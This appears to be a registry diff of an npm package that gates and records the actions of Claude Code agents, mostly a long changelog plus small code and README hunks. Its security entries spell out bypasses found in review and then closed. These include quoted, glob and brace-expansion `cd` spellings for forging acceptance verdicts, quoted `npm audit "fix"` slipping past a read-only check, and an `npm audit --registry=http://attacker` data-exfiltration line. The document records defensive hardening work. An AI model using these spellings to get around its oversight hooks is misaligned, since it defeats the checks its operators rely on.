@lannguyensi/harness 0.41.0 → 0.42.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +31 -0
- package/README.md +9 -0
- package/dist/cli/adopt/derive.d.ts +15 -0
- package/dist/cli/adopt/derive.js +34 -7
- package/dist/cli/adopt/derive.js.map +1 -1
- package/dist/cli/adopt/index.d.ts +30 -0
- package/dist/cli/adopt/index.js +23 -3
- package/dist/cli/adopt/index.js.map +1 -1
- package/dist/cli/apply/generate-settings.d.ts +14 -1
- package/dist/cli/apply/generate-settings.js +7 -3
- package/dist/cli/apply/generate-settings.js.map +1 -1
- package/dist/cli/approve/stdin-report.js +2 -0
- package/dist/cli/approve/stdin-report.js.map +1 -1
- package/dist/cli/doctor/claude-mcp.d.ts +50 -0
- package/dist/cli/doctor/claude-mcp.js +170 -0
- package/dist/cli/doctor/claude-mcp.js.map +1 -0
- package/dist/cli/doctor/format.js +37 -0
- package/dist/cli/doctor/format.js.map +1 -1
- package/dist/cli/doctor/index.d.ts +10 -0
- package/dist/cli/doctor/index.js +24 -0
- package/dist/cli/doctor/index.js.map +1 -1
- package/dist/cli/doctor/npm-bin-path.js +42 -0
- package/dist/cli/doctor/npm-bin-path.js.map +1 -1
- package/dist/cli/doctor/types.d.ts +11 -0
- package/dist/cli/doctor/types.js.map +1 -1
- package/dist/cli/index.js +253 -5
- package/dist/cli/index.js.map +1 -1
- package/dist/cli/init/agent-tasks-auth.js +32 -0
- package/dist/cli/init/agent-tasks-auth.js.map +1 -1
- package/dist/cli/init/composer.js +3 -9
- package/dist/cli/init/composer.js.map +1 -1
- package/dist/cli/init/dependencies.js +21 -0
- package/dist/cli/init/dependencies.js.map +1 -1
- package/dist/cli/init/detect.d.ts +20 -3
- package/dist/cli/init/detect.js +34 -36
- package/dist/cli/init/detect.js.map +1 -1
- package/dist/cli/init/interactive.d.ts +33 -0
- package/dist/cli/init/interactive.js +399 -5
- package/dist/cli/init/interactive.js.map +1 -1
- package/dist/cli/init/profiles.d.ts +1 -1
- package/dist/cli/init/profiles.js +1 -1
- package/dist/cli/init/templates.d.ts +1 -1
- package/dist/cli/init/templates.js +64 -5
- package/dist/cli/init/templates.js.map +1 -1
- package/dist/cli/main.js +10 -0
- package/dist/cli/main.js.map +1 -1
- package/dist/cli/pack/hook-post-merge-gate-record.d.ts +30 -0
- package/dist/cli/pack/hook-post-merge-gate-record.js +153 -0
- package/dist/cli/pack/hook-post-merge-gate-record.js.map +1 -0
- package/dist/cli/pack/hook-post-merge-gate.d.ts +28 -0
- package/dist/cli/pack/hook-post-merge-gate.js +244 -0
- package/dist/cli/pack/hook-post-merge-gate.js.map +1 -0
- package/dist/cli/pack/hook-solution-acceptance-writeguard.js +148 -2
- package/dist/cli/pack/hook-solution-acceptance-writeguard.js.map +1 -1
- package/dist/cli/pack/understanding-report-schema-hint.js +1 -1
- package/dist/cli/pack/understanding-report-schema-hint.js.map +1 -1
- package/dist/cli/record/index.d.ts +64 -0
- package/dist/cli/record/index.js +211 -0
- package/dist/cli/record/index.js.map +1 -0
- package/dist/cli/session-start/index.d.ts +7 -0
- package/dist/cli/session-start/index.js +133 -38
- package/dist/cli/session-start/index.js.map +1 -1
- package/dist/cli/session-start/toolchain-parity.d.ts +149 -0
- package/dist/cli/session-start/toolchain-parity.js +618 -0
- package/dist/cli/session-start/toolchain-parity.js.map +1 -0
- package/dist/cli/uninstall/index.d.ts +73 -1
- package/dist/cli/uninstall/index.js +134 -2
- package/dist/cli/uninstall/index.js.map +1 -1
- package/dist/io/claude-mcp.d.ts +258 -0
- package/dist/io/claude-mcp.js +544 -0
- package/dist/io/claude-mcp.js.map +1 -0
- package/dist/policies/ledger-client.d.ts +34 -1
- package/dist/policies/ledger-client.js +21 -16
- package/dist/policies/ledger-client.js.map +1 -1
- package/dist/policy-packs/builtin/post-merge-gate-runtime.d.ts +195 -0
- package/dist/policy-packs/builtin/post-merge-gate-runtime.js +290 -0
- package/dist/policy-packs/builtin/post-merge-gate-runtime.js.map +1 -0
- package/dist/policy-packs/builtin/post-merge-gate.d.ts +56 -0
- package/dist/policy-packs/builtin/post-merge-gate.js +291 -0
- package/dist/policy-packs/builtin/post-merge-gate.js.map +1 -0
- package/dist/policy-packs/builtin/solution-acceptance-runtime.js +28 -13
- package/dist/policy-packs/builtin/solution-acceptance-runtime.js.map +1 -1
- package/dist/policy-packs/registry.d.ts +1 -1
- package/dist/policy-packs/registry.js +12 -0
- package/dist/policy-packs/registry.js.map +1 -1
- package/dist/runtime/git-context.d.ts +50 -0
- package/dist/runtime/git-context.js +108 -1
- package/dist/runtime/git-context.js.map +1 -1
- package/dist/runtime/hermetic-spawn-guard.d.ts +25 -0
- package/dist/runtime/hermetic-spawn-guard.js +136 -0
- package/dist/runtime/hermetic-spawn-guard.js.map +1 -0
- package/dist/runtime/ledger-writer.d.ts +27 -0
- package/dist/runtime/ledger-writer.js +46 -0
- package/dist/runtime/ledger-writer.js.map +1 -0
- package/dist/runtime/read-only-bash.js +118 -0
- package/dist/runtime/read-only-bash.js.map +1 -1
- package/dist/schema/index.d.ts +41 -0
- package/dist/schema/index.js +5 -0
- package/dist/schema/index.js.map +1 -1
- package/dist/schema/toolchain-parity.d.ts +18 -0
- package/dist/schema/toolchain-parity.js +35 -0
- package/dist/schema/toolchain-parity.js.map +1 -0
- package/package.json +4 -2
package/CHANGELOG.md
CHANGED
|
@@ -7,6 +7,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
|
7
7
|
|
|
8
8
|
## [Unreleased]
|
|
9
9
|
|
|
10
|
+
## [0.42.0] - 2026-07-27
|
|
11
|
+
|
|
12
|
+
### Security
|
|
13
|
+
|
|
14
|
+
- **The Risk Classifier's and understanding-gate's shared built-in read-only floor (`src/runtime/read-only-bash.ts`) now recognizes `cd` and a curated npm read-only subcommand set, closing a gap that let a prod-scoped `risk.severity_at_least` policy block plain navigation and dependency-tree reads on a production-resolved session — with two adjacent security fixes surfaced by adversarial review before this shipped** (task `fb67b402`). `cd` (pure navigation form only — any chained or redirected spelling still forfeits the classification via the existing shell-metacharacter guard) and `npm ls` / `list`, `view` / `info` / `show`, `outdated`, `why` / `explain`, `ping`, and `npm audit` (never `npm audit fix`) are now floored `low`-severity instead of unclassified, the same treatment `git status` / `git diff` already got. This is a curated POSITIVE allowlist, not a denylist: an npm subcommand this floor has not reasoned about — `install`, `ci`, `publish`, `update`, `version`, or a future verb — stays unclassified rather than assumed safe. This same shared classifier also feeds the understanding-gate's PreToolUse blocker (`isReadOnlyBashPipeline`), which now also passes `cd` / `npm audit` / `npm ls` without an approved Understanding Report — a deliberate widening, not incidental; see `docs/policy-packs/understanding-before-execution.md` for why, and its consciously-accepted pre-report network-read residual (already true of `git fetch` / `gh ... view`).
|
|
15
|
+
- **Fixed before ship (HIGH, adversarial review, round 1): the solution-acceptance anti-forgery write-guard's `cd`-into-verdict-dir block only closed the LITERAL-path spelling.** `cd`'s general read-only classification meant `src/cli/pack/hook-solution-acceptance-writeguard.ts`'s `evaluateWriteGuard` needed its own defense-in-depth pre-check so a bare `cd <verdict-dir>` — the setup half of a two-Bash-call forge — stays blocked (the actual forging write is separately closed by the pre-existing cwd-inside-dir check on the following call, which is unaffected and remains the load-bearing defense). The FIRST version of that pre-check only caught the literal, unquoted path spelling: `path.resolve` cannot literally evaluate a quoted (`cd "$DIR"`, `cd '$DIR'`), env-var/brace (`cd $SOLUTION_VERDICT_DIR`, `cd $HOME/...`, `cd ${HOME}/...`), tilde (`cd ~/...`), or glob (`cd .../solution-ver*`) spelling, so each of those seven forms silently took `cd`'s unconditional read-only fast path instead of reaching the existing text-reference check that already recognized every one of those spellings for any OTHER (non-cd) Bash command. Fixed: a `cd` target containing `$ ~ * ? [ " '` now skips the read-only fast path entirely and falls through to the same `bashReferencesVerdictDir` check, closing all seven spellings without reverting `cd`'s general classification.
|
|
16
|
+
- **Fixed before ship (MEDIUM, adversarial review, round 1): `npm audit "fix"` (and other shell-quoted spellings) floored as read-only.** The original `npm audit` guard was a token-equality denylist (`!tokens.slice(2).includes("fix")`) — a shell-quoting bypass, since npm's own arg parsing strips quoting before npm ever sees the argument, so `npm audit "fix"`, `'fix'`, `f''ix`, `fi"x"`, and `$'fix'` all run the mutating `npm audit fix` path in npm 11.17.0 while none of the raw, un-shell-evaluated tokens equals the literal string `fix`. Fixed with a POSITIVE shape instead, matching the module's allowlist-not-denylist contract: every token after `audit` must either start with `-` (a flag) or be the literal `signatures`, or the whole invocation forfeits the floor — closing every quoting variant and any future `npm audit <verb>` in one rule, at the acceptable, conservative cost of failing closed on any separated flag value (e.g. `npm audit --audit-level high`, `npm audit --omit dev` — use the glued `--flag=value` form to stay floored). Also added, same round: `--registry` / `--userconfig` / `--globalconfig` on ANY npm subcommand forfeits the floor (`npm audit --registry=http://attacker` would otherwise submit the full dependency manifest to an operator-unverified host); `info`, `show` (both `view` aliases) and `explain` (`why`'s formal name) joined the npm allowlist; other npm aliases (`la`, `ll`, `v`) are deliberately NOT floored, only canonical spellings.
|
|
17
|
+
- **Fixed before ship (HIGH, adversarial review, round 2): the round-1 `cd` fix's unresolvable-character set missed brace expansion, a ninth live spelling.** `CD_TARGET_UNRESOLVABLE_CHARS` had no `{`, `}`, or `,`, so `path.resolve` treated `cd <parent>/{solution-verdicts,x}` as a literal (non-existent) path segment — neither inside the dir nor flagged unresolvable — and the read-only fast path fired even though bash (verified against 3.2.57) expands the brace and navigates INTO the verdict dir, ignoring the extra alternative; the `-P` / `--` prefixed and cwd-relative forms were equally affected. Fixed in two parts: (1) `CD_TARGET_UNRESOLVABLE_CHARS` now includes `{ } ,`, so any brace-expansion spelling falls through to the reference check same as the other six spellings; (2) `bashReferencesVerdictDir`'s glob-metacharacter test (`src/policy-packs/builtin/solution-acceptance-runtime.ts`) widened from `/[*?[]/` to `/[*?[{]/` so the leaf-word fallback also catches a brace that SPLITS the leaf itself (`solution-verdict{s,}`), a narrower pre-existing hole (not `cd`-specific, not introduced by round 1) the same widening closes. Also this round: the per-scope npm registry override `--@scope:registry=URL` (npm resolves a scoped package's registry from `@scope:registry` before the plain `registry` config, so it is an equally live exfiltration vector) now forfeits the npm floor alongside the unscoped form; `cdTargetArgument` now strips one layer of surrounding quotes before either check runs, so `cd "<dir>-decoy"` behaves like the unquoted `cd <dir>-decoy` (both correctly NOT blocked) instead of being spelling-dependent; a positive test pins `npm audit -fix` (single dash) as deliberately floored (verified npm behavior: `Unknown cli config "--fix"`, report only); and the module header / relevant docstrings were reworded from enumerating expansions in a way that read as exhaustive to stating explicitly what they DO cover and naming the still-open residual (backslash-escaping a leaf character defeats the textual match under both `cd` and non-`cd` commands alike — pre-existing, needs shell-unescaping in `bashReferencesVerdictDir` to close, out of this task's scope).
|
|
18
|
+
- New tests: `tests/runtime/read-only-bash.test.ts`, `tests/runtime/risk-classifier.test.ts`, `tests/cli/pack-hook-solution-acceptance-writeguard.test.ts` (round 1: 7-spelling + discriminating-pair + near-miss cases; round 2: 6 brace-form negatives + 1 split-leaf negative + the quote-stripped decoy pin). Docs: `docs/risk-gate.md`, `docs/policy-packs/understanding-before-execution.md`.
|
|
19
|
+
- **`fast-uri` HIGH advisory (GHSA-v2hh-gcrm-f6hx) closed via a lockfile refresh; `@lannguyensi/understanding-gate` ends this window pinned to `^0.4.9`, after a same-day detour through an exact `0.4.5` pin** (PRs #366, #367). The advisory (host confusion via a literal backslash authority delimiter, fast-uri 3.0.0-3.1.3) reached the harness tree via `understanding-gate -> ajv -> fast-uri`; ajv already declared `fast-uri: ^3.0.1`, which permits the fixed 3.1.4, so refreshing the lockfile pin closed the advisory — no `package.json` change was needed for the advisory itself. Bumping `understanding-gate` itself (0.4.5 -> ^0.4.7, resolving 0.4.8) was evaluated and REJECTED on evidence: it shares the same `ajv: ^8.12.0` constraint (doesn't touch the advisory) and breaks `tests/cli/approve-understanding.test.ts` (persisted `taskId` comes back as the `sessionId`; bisected 0.4.6 green, 0.4.7/0.4.8 red). PR #366 pinned `understanding-gate` to an EXACT `0.4.5` to hold that line through `npm install`/`npm update`, not just `npm ci` (`~0.4.5` still admits the broken 0.4.7). PR #367 lifted the pin once `understanding-gate` 0.4.9 shipped: it restores the documented gap-fill contract for `defaults.taskId` (agent-grounding PR #153) with its own regression test, so the consumer suite is no longer the only detector — verified via `tests/cli/approve-understanding.test.ts` 70/70 against 0.4.9 plus a full preflight run.
|
|
20
|
+
- **`postcss` HIGH advisory (GHSA-r28c-9q8g-f849) closed via `npm audit fix`** (PR #374). `postcss` <= 8.5.17 is vulnerable to path traversal via `sourceMappingURL` auto-loading, disclosing arbitrary `.map` files; it reaches this repo transitively as a dev dependency only (`vitest 4.1.8 -> vite 8.0.16 -> postcss 8.5.15`). Closed non-breaking: `postcss` 8.5.15 -> 8.5.23 and its `nanoid` dependency 3.3.12 -> 3.3.16, no `package.json` change and no override introduced. `npm audit` now reports 0 vulnerabilities; this also unblocked this repo's own `harness preflight`, whose npm-audit check had been failing on exactly this advisory.
|
|
21
|
+
|
|
22
|
+
### Added
|
|
23
|
+
|
|
24
|
+
- **Third `SessionStart` companion: a toolchain-parity snapshot, advisory-only, compared against peer machines** (task `5427fe54`, PR #368). Alongside the existing preflight and branch-check `SessionStart` hooks, it writes this machine's toolchain snapshot (PATH-resolved node version, npm globals, OW-Kit manifest version, MCP server names) to the machine-state directory synced by `agent-memory-sync`, compares the live local state against every peer snapshot found there, and reports drift as warn lines plus a `toolchain-parity:ok|drift:<n>` ledger fact. Disabled by default behind a new optional `toolchain_parity` manifest block; every failure path logs and exits 0 rather than blocking the session. Both new spawns are injectable and registered in the hermetic spawn guard. A same-PR review note documented the constraint that profile names must stay unique after filename sanitization (`[^a-zA-Z0-9._-]` -> `-`), naming plain names like `mac-mini`/`macbook` as safe — this is a docs-only clarification, not a code fix: `sanitizeProfileName` gained no collision guard (LOW-1). `check:duplication`'s `MAX_CLONES` pin moved 86 -> 95: the CLI option-parsing wiring joins the existing clone cluster shared verbatim with the sibling hooks (justified in `scripts/check-duplication.mjs`). New tests: 32 hermetic tests covering ok, drift, missing/corrupt peers, unconfigured, and spawn-degradation cases. Docs: `docs/CLI.md`, `docs/examples/full-manifest.expected.yaml`.
|
|
25
|
+
- **New opt-in `post-merge-gate` policy pack: denies mutating git/gh work on a branch whose tip has already been merged** (task `d368e30d`, PR #369). A `PostToolUse` producer records the merged branch tip only on a confirmed `gh pr merge` success (`tool_output.exit_code === 0`, a defensive payload read, the trusted ledger writer), and a `PreToolUse` blocker denies a curated git/gh mutation list once the current branch tip exactly matches a recorded merged tip. An escape allowlist (`git switch`/`checkout`/`pull`/`fetch`/`branch -d`/`-D`/`stash list`/`show`, harness verbs) is checked first, unconditionally, before any manifest or ledger access, and the gate fails open with a warning when the ledger is unavailable. Exact-sha matching keeps it squash-safe and avoids false positives on post-merge commits or recycled branch names. `resolveOriginHeadBase`/`resolveCommonDir` moved to the new `src/runtime/git-context.ts` for reuse; MCP-side merges stay a documented gap. Ships disabled (`FULL_TEMPLATE enabled: false`). A same-PR review round named two accepted residuals in `docs/policy-packs/post-merge-gate.md`: a curated mutation chained with an escape verb is allowed whole (the same accepted class as the existing eval/heredoc gap), and a hand-written merged fact matching the current tip denies curated mutations on that branch, recoverable via any escape or a new commit. `check:duplication`'s `MAX_CLONES` pin moved 95 -> 102 (sibling-pack wiring shape, no cross-verb extraction possible).
|
|
26
|
+
- **Fixed the same day (PR #370): the documented `tool_output.exit_code` producer contract never actually fires on real Claude Code.** Live verification on Claude Code 2.1.218 (a real hook fire against an isolated settings probe) showed the `PostToolUse` payload is `tool_response` — `{stdout, stderr, interrupted, isImage, noOutputExpected}`, no exit code at all — so the producer shipped in PR #369 was silently inert against the actual runtime. Contract A (`tool_output.exit_code === 0`) stays authoritative and short-circuits when present; a new Contract B confirms via `tool_response` with `interrupted: false` and `gh`'s past-tense success line, matching both the real glued `owner/repo#N` shape (source-verified against `gh` v2.94.0's `merge.go:369-376`, which writes success to stderr via `infof`) and the bare `#N` doc shape. Auto-merge-pending and already-merged warnings are pinned as negatives against `gh`'s exact wording. The real 2.1.218 payload is committed as a drift-guard fixture (`tests/fixtures/post-merge-gate/real-posttooluse-payload-2.1.218.json`).
|
|
27
|
+
- New tests: `tests/cli/pack-hook-post-merge-gate.test.ts`, `tests/cli/pack-hook-post-merge-gate-record.test.ts`, `tests/policy-packs/post-merge-gate-expand.test.ts`, `tests/policy-packs/post-merge-gate-runtime.test.ts` (escape-first ordering, chained-escape and inverted-trust-boundary pins, both payload contracts, the fixture-driven drift guard). Docs: `docs/policy-packs/post-merge-gate.md`.
|
|
28
|
+
- **CI now fails fast on a committed `.only` under `tests/`** (task `b4845053`, follow-up of task `052f9d5b` review round 4, PR #372). `vitest` with `CI=true` (`allowOnly=false`) reports an unexpected `.only` but still exits 0 for some file shapes, and a `describe.only` whose selected tests are all skipped disables both layers of the hermetic-spawn backstop at once. The new `scripts/check-no-only.mjs` parses `tests/**/*.{ts,mts,cts}` with the TypeScript compiler API and flags `.only` property accesses rooted at a bare `describe`/`it`/`test` identifier, so chained modifiers and `.each` variants are caught while strings, comments, and test names structurally cannot trip it. Wired as `check:no-only`, a fail-fast CI step before Build, ~0.9s for the whole test tree. A same-PR review round added the vitest options-object form (`it(name, { only: true }, fn)`, a documented way to activate only-mode that defeated the property-access gate the same way) and hardened the check's CLI with an `isDirectRun` guard and in-process tests (exit code + `file:line` output); accepted known bypasses (bracket/computed access, an aliased holder, a renamed import, `bench.only`, and the options form reached through a chained call) are documented in the script itself.
|
|
29
|
+
- **`harness preflight`'s `SessionStart` producer now persists the full failing run to a log file, and the not-ready message names which checks failed** (task `31fbf856`, PR #356). On a real `ready !== true` outcome, the producer writes the complete `preflight run --json` payload (pretty-printed) to `~/.harness/logs/preflight-<repo>-<timestamp>.json` (an injectable `logDir` seam) and keeps only the last 20 `preflight-*.json` files per rotation, leaving any foreign files in that directory untouched. The `SessionStart` fail message itself now surfaces up to 3 detail lines per failing check plus a trailing `; log: <path>` pointer, instead of just the bare check name. The `ready:true` and spawn-error branches are unchanged, and every new file-IO path degrades to a note on failure rather than breaking the `SessionStart` `blocking:false` / exit-0 contract. A companion root-fix to `agent-preflight`'s own output capping is tracked separately as task `6691dd56`. New tests: `tests/cli/session-start/preflight.test.ts`.
|
|
30
|
+
- **New `harness record` CLI verbs write gate evidence directly into the session ledger for `review`, `review-subagent`, and `dogfood`** (agent-tasks task `27ba3570`, PR #357). Each verb writes one multi-tag fact, mirroring the existing preflight producer: `review` writes `review:<pr>` + `review:<branch>` + `review:<base>`; `review-subagent` writes `review-subagent:<task>` + `review-subagent:<branch>` + a verdict tag; `dogfood` writes `dogfood:<session>`. Branch resolution shares `resolveGitContext` with the gates that consume these tags; base resolution tries `--base`, then an `origin/HEAD` filesystem fallback, then omits loudly rather than guessing — a review follow-up made that fallback resolve `origin/HEAD` through a linked worktree's commondir file too, so a worktree checkout no longer silently degrades to omit-with-warning. The manifest -> `grounding-mcp` ledger-writer wiring was extracted into the new `src/runtime/ledger-writer.ts`, shared unchanged with `session-start`. The evidence-gate `ux.run` hints across all four manifest sources (`templates.ts`, `composer.ts`, `profiles.ts`, `docs/examples/full-manifest.yaml`) now point at the `record` verbs instead of the old hand-written instructions. An invalid `--ledger-timeout` now warns instead of silently falling back. New tests: `tests/cli/record/record.test.ts`, `tests/cli/record/record-alias.test.ts`, `tests/e2e/record-roundtrip.test.ts` (real record runners feeding the real intercept path, both merge surfaces, empty-ledger deny counter-checks). Docs: `docs/CLI.md` (tag-semantics table, merge-surface trap, `--base` guidance), `docs/okf/evidence-ledger-trust-boundary.md` (re-verification pass).
|
|
31
|
+
- **`harness uninstall --apply` (and `--restore-from`) now deregisters harness-owned MCP servers from the live `claude mcp` registry, not just the `settings.json` block** (task `d6086441`, PR #361). It calls `claude mcp remove --scope user` for harness-owned names (`DEFAULT_OWNED_MCP_SERVERS` union the manifest's `tools.mcp[]` names) that are actually registered in the live user-scope registry — read-only checked via `readTopLevelMcpServers` first, never a blind iteration — and foreign registrations are never touched. `--dry-run` lists the planned removals with zero exec calls. `cli-missing` and per-name failures never hard-fail: outcomes land in inventory warnings with copy-pasteable `manualRemoveLines` fallback commands, and the result distinguishes a partial success (settings.json cleaned, registry removal failed or skipped) from a complete one; a registry read error removes nothing. `uninstall()` is now async; its only in-repo caller (the CLI command) awaits it and prints the new registry fields. A review-round fix seatbelted the registry axis the same way `stateDir` already is: an explicit `homeDir` or an injected `mcpExec` each neutralize the risk on their own, and absent both, only `HARNESS_ALLOW_REAL_GENERATED_DIR=1` unlocks it (set by `src/cli/main.ts` for the real binary, so production behavior is unchanged) — a blocked run skips the axis entirely, including the read, and reports an empty list plus a warning. New tests: `tests/cli/uninstall/uninstall.test.ts` (seatbelt blocked/env-unlocked/homeDir-unlocked cases, and a `--restore-from` case asserting the exact `claude mcp remove` argv). Docs: `docs/examples/pandora-bootstrap.md` (rollback steps and the manual fallback).
|
|
32
|
+
|
|
33
|
+
### Fixed
|
|
34
|
+
|
|
35
|
+
- **`harness init`'s MCP-server registration now writes to the surface Claude Code actually reads, instead of a dead `settings.json` block** (task `init-mcp-wiring-claude-code`). Every prior `harness init --interactive` run projected `tools.mcp[]` into user-level `~/.claude/settings.json`'s `mcpServers` key; Claude Code does not consume that key for user-scope registration and never has — the effective registry is `~/.claude.json`, previously reachable only by hand-running `claude mcp add-json`. The wizard now registers every enabled `tools.mcp[]` server there directly, via `claude mcp add-json --scope user` (new `ensureMcpServers` in `src/io/claude-mcp.ts`, a thin injectable-exec wrapper around `claude mcp add-json/remove/get/list`), right after the hooks apply step, then migrates away the dead settings.json block — but only once registration has actually succeeded, so a missing `claude` CLI leaves existing state untouched and prints copy-pasteable `claude mcp add-json` commands instead of failing or silently doing nothing. `generate-settings.ts` no longer projects `mcpServers` into settings.json at all (the translated spec map is exposed via `GenerateSettingsResult.mcpServers` for the new registration path instead). `harness doctor` gained a "Claude Code MCP Registration" section that re-verifies the live registry via `claude mcp list` and flags a leftover dead settings.json block. **Known limitations, tracked as follow-ups, not fixed by this task:** no removal GC — toggling a `tools.mcp[]` entry to `enabled: false` (or deleting it from the manifest) does not deregister an already-registered server (since closed in this same Unreleased batch by task `363a6de0`, see below); no `uninstall` symmetry — `harness uninstall` still only cleans the settings.json block, not the live `claude mcp` registration it now creates (since closed by task `d6086441`, see the Added section above); `harness init --probe`'s detection and `harness adopt`'s MCP drift check still read the (now largely dead) settings.json block rather than the live registry (since closed in this same 0.42.0 batch by task `83d8d03a`, see below). New tests: `tests/io/claude-mcp.test.ts` (43 cases), plus updates to `tests/cli/init-interactive.test.ts`, `tests/cli/apply/apply.test.ts`, `tests/cli/apply/generate-settings.test.ts`, `tests/cli/adopt.test.ts`, `tests/cli/doctor-claude-mcp.test.ts` (new), and `tests/cli/doctor.test.ts`. Docs: `docs/ARCHITECTURE.md`, `docs/examples/pandora-bootstrap.md`, `README.md`, `docs/okf/debug-verb-selection.md`.
|
|
36
|
+
- **`harness init --interactive`'s claude-code wire-now step now deregisters a `tools.mcp[]` server that was removed or disabled from the manifest, closing the "no removal GC" gap the `init-mcp-wiring-claude-code` entry above tracked as a known limitation** (task `363a6de0`). Every ensure run used to only add/replace `desired` servers, never remove one that fell out of `desired` — an operator who deleted or disabled a `tools.mcp[]` entry had to run `claude mcp remove` by hand. `ensureMcpServers` (`src/io/claude-mcp.ts`) gains an opt-in `gc: { ownedNames }` option: after reconciling `desired`, it additionally `claude mcp remove`s any name in `ownedNames` that is still registered but no longer in `desired`; omitting `gc` leaves behavior exactly as before. **Ownership criterion (read this before relying on it):** the wizard passes `ownedNames` = the CURRENT manifest's `tools.mcp[]` names UNION the `tools.mcp[]` names from the `.last-apply` manifest snapshot captured **before** this run's `apply()` executes (`apply()` re-stamps `.last-apply` with the just-edited manifest whenever anything changed — including an edit that also touches a hook — so capturing the snapshot first is what lets a combined "remove this MCP + change this hook" edit still GC the dropped server correctly). The uninstall module's `DEFAULT_OWNED_MCP_SERVERS` list (`agent-tasks`, `codebase-oracle`, `grounding-mcp`) is **deliberately excluded** from GC eligibility: a server sharing one of those names that the operator registered themselves — outside of, or before, any harness manifest on this machine — is never touched, because "shares a default name" is not the same claim as "this install's manifest once had it." A manifest entry that's merely drifted (registered content differs from the manifest spec) but is STILL present in `desired` is never a GC candidate either, regardless of ownership — the existing add/replace path re-syncs it instead. No snapshot available (fresh install, or a corrupt/pre-snapshot `.last-apply`) degrades conservatively to manifest-only ownership, never a guess. A repeat run with no manifest change makes zero additional `claude mcp remove` calls (same idempotence bar as the add/replace path); a `claude` CLI that's missing, times out, or the registry being unreadable are all reported as a warning with copy-pasteable `claude mcp remove --scope user <name>` fallback commands (new `manualRemoveLines` in `src/io/claude-mcp.ts`), never a hard failure. New tests: 9 cases added to `tests/io/claude-mcp.test.ts` (7 for the `gc` option — remove branch with exact commands, ownership boundary, still-desired/drifted-content protection, idempotence, registry-read-error, cli-missing, gc-omitted-is-unchanged — plus 2 for `manualRemoveLines`), plus 5 new wizard-level tests in `tests/cli/init-interactive.test.ts` (the `.last-apply` snapshot union, the conservative no-snapshot fallback, the `DEFAULT_OWNED_MCP_SERVERS`-exclusion guard across a profile switch, an apply-succeeds MCP-only edit, and a combined MCP-removal + new-pack/hook edit). Docs: `docs/ARCHITECTURE.md`.
|
|
37
|
+
- **`persistStdinReport`'s parse-error log now carries `malformedSections`; the schema hint spells out the `(list)` rule** (task `7e29e5d7`, externalRef `be98cd96:followup-harness-log-field`, follow-up to agent-grounding PR #154, PR #373). `understanding-gate`'s `ParseError` grew an optional `malformedSections` field (a `(list)` section is present but its body is prose); `persistStdinReport` now carries it into the parse-error log with a defensive `?? []` default, harmless against the pinned 0.4.x line. `renderReportSchemaHint` now states explicitly that `(list)` sections need markdown list items (`'- '` or `'1.'`) and that prose bodies are rejected — the stumbling block of the 2026-07-22 live incident. New tests: `tests/cli/approve-stdin-report.test.ts`, `tests/cli/pack-understanding-report-schema-hint.test.ts`.
|
|
38
|
+
- **`harness adopt`'s MCP drift check and `harness init --probe`'s team/full detection now read the effective Claude Code user-scope registry instead of the dead `settings.json` block** (task `83d8d03a`, PR #358, closes a known limitation the `init-mcp-wiring-claude-code` entry above named). Both consumers now share the exported `readTopLevelMcpServers` primitive to read the live, top-level `mcpServers` block in `~/.claude.json` (`CLAUDE_CONFIG_DIR`-aware) — no new writer on `~/.claude.json` and no `claude` CLI spawn in either path. The dead `settings.json` block is still detected, but surfaced only as a cleanup warning, never mistaken for drift. `AdoptResult` gains `deadSettingsMcpNames` and `registryReadError`; `detect` gains `mcpRegistryParseError` and drops the now-dead `settingsParseError` field. New tests: updates to `tests/cli/adopt.test.ts`, `tests/cli/init-detect.test.ts`, `tests/cli/init-interactive.test.ts`, `tests/cli/program.test.ts`.
|
|
39
|
+
- **All 8 OKF knowledge-bundle docs were re-verified against current sources, with several corrections substantive rather than just line-number drift** (PR #353, task `93c004a6`, first upkeep sweep after the warn-only staleness watch went live).
|
|
40
|
+
|
|
10
41
|
## [0.41.0] - 2026-07-16
|
|
11
42
|
|
|
12
43
|
### Security
|
package/README.md
CHANGED
|
@@ -144,6 +144,15 @@ profile (`solo` / `team` / `full` / `custom`) and writes a starting
|
|
|
144
144
|
`harness.yaml`. Ctrl-C aborts cleanly. Walkthrough +
|
|
145
145
|
limitations: [`docs/init-interactive.md`](docs/init-interactive.md).
|
|
146
146
|
|
|
147
|
+
Every enabled `tools.mcp[]` server is then registered with Claude
|
|
148
|
+
Code via `claude mcp add-json --scope user` — the surface Claude Code
|
|
149
|
+
actually reads for user-scope MCP servers; harness itself never
|
|
150
|
+
writes `~/.claude.json`. This step requires the `claude` CLI on
|
|
151
|
+
`$PATH`; if it's missing, the wizard warns and prints the equivalent
|
|
152
|
+
`claude mcp add-json` commands to run by hand instead of failing.
|
|
153
|
+
`harness doctor` includes a "Claude Code MCP Registration" section
|
|
154
|
+
that re-verifies the live registration via `claude mcp list`.
|
|
155
|
+
|
|
147
156
|
### Profiles at a glance
|
|
148
157
|
|
|
149
158
|
| Profile | External accounts / tools required | Best for |
|
|
@@ -60,6 +60,21 @@ export interface SettingsRootWithMcp extends SettingsRoot {
|
|
|
60
60
|
mcpServers?: Record<string, SettingsMcpSpec>;
|
|
61
61
|
}
|
|
62
62
|
export declare function parseSettingsMcpServers(raw: unknown): DerivedMcp[];
|
|
63
|
+
/**
|
|
64
|
+
* Project the effective Claude Code user-scope MCP registry — the
|
|
65
|
+
* top-level `mcpServers` map of `~/.claude.json` /
|
|
66
|
+
* `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
|
|
67
|
+
* `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
|
|
68
|
+
* `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
|
|
69
|
+
* settings.json block, so `computeMcpDrift` can diff either source
|
|
70
|
+
* against the manifest projection uniformly.
|
|
71
|
+
*
|
|
72
|
+
* D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
|
|
73
|
+
* regardless of the `<file>` CLI argument — settings.json's own
|
|
74
|
+
* `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
|
|
75
|
+
* dead at runtime and is surfaced only as a warning, never as drift.
|
|
76
|
+
*/
|
|
77
|
+
export declare function projectRegistryMcpServers(servers: Record<string, unknown>): DerivedMcp[];
|
|
63
78
|
export declare function manifestMcpProjection(manifest: Manifest, homeDir?: string): DerivedMcp[];
|
|
64
79
|
export type McpDriftReason = "new" | "modified";
|
|
65
80
|
export interface McpDriftEntry {
|
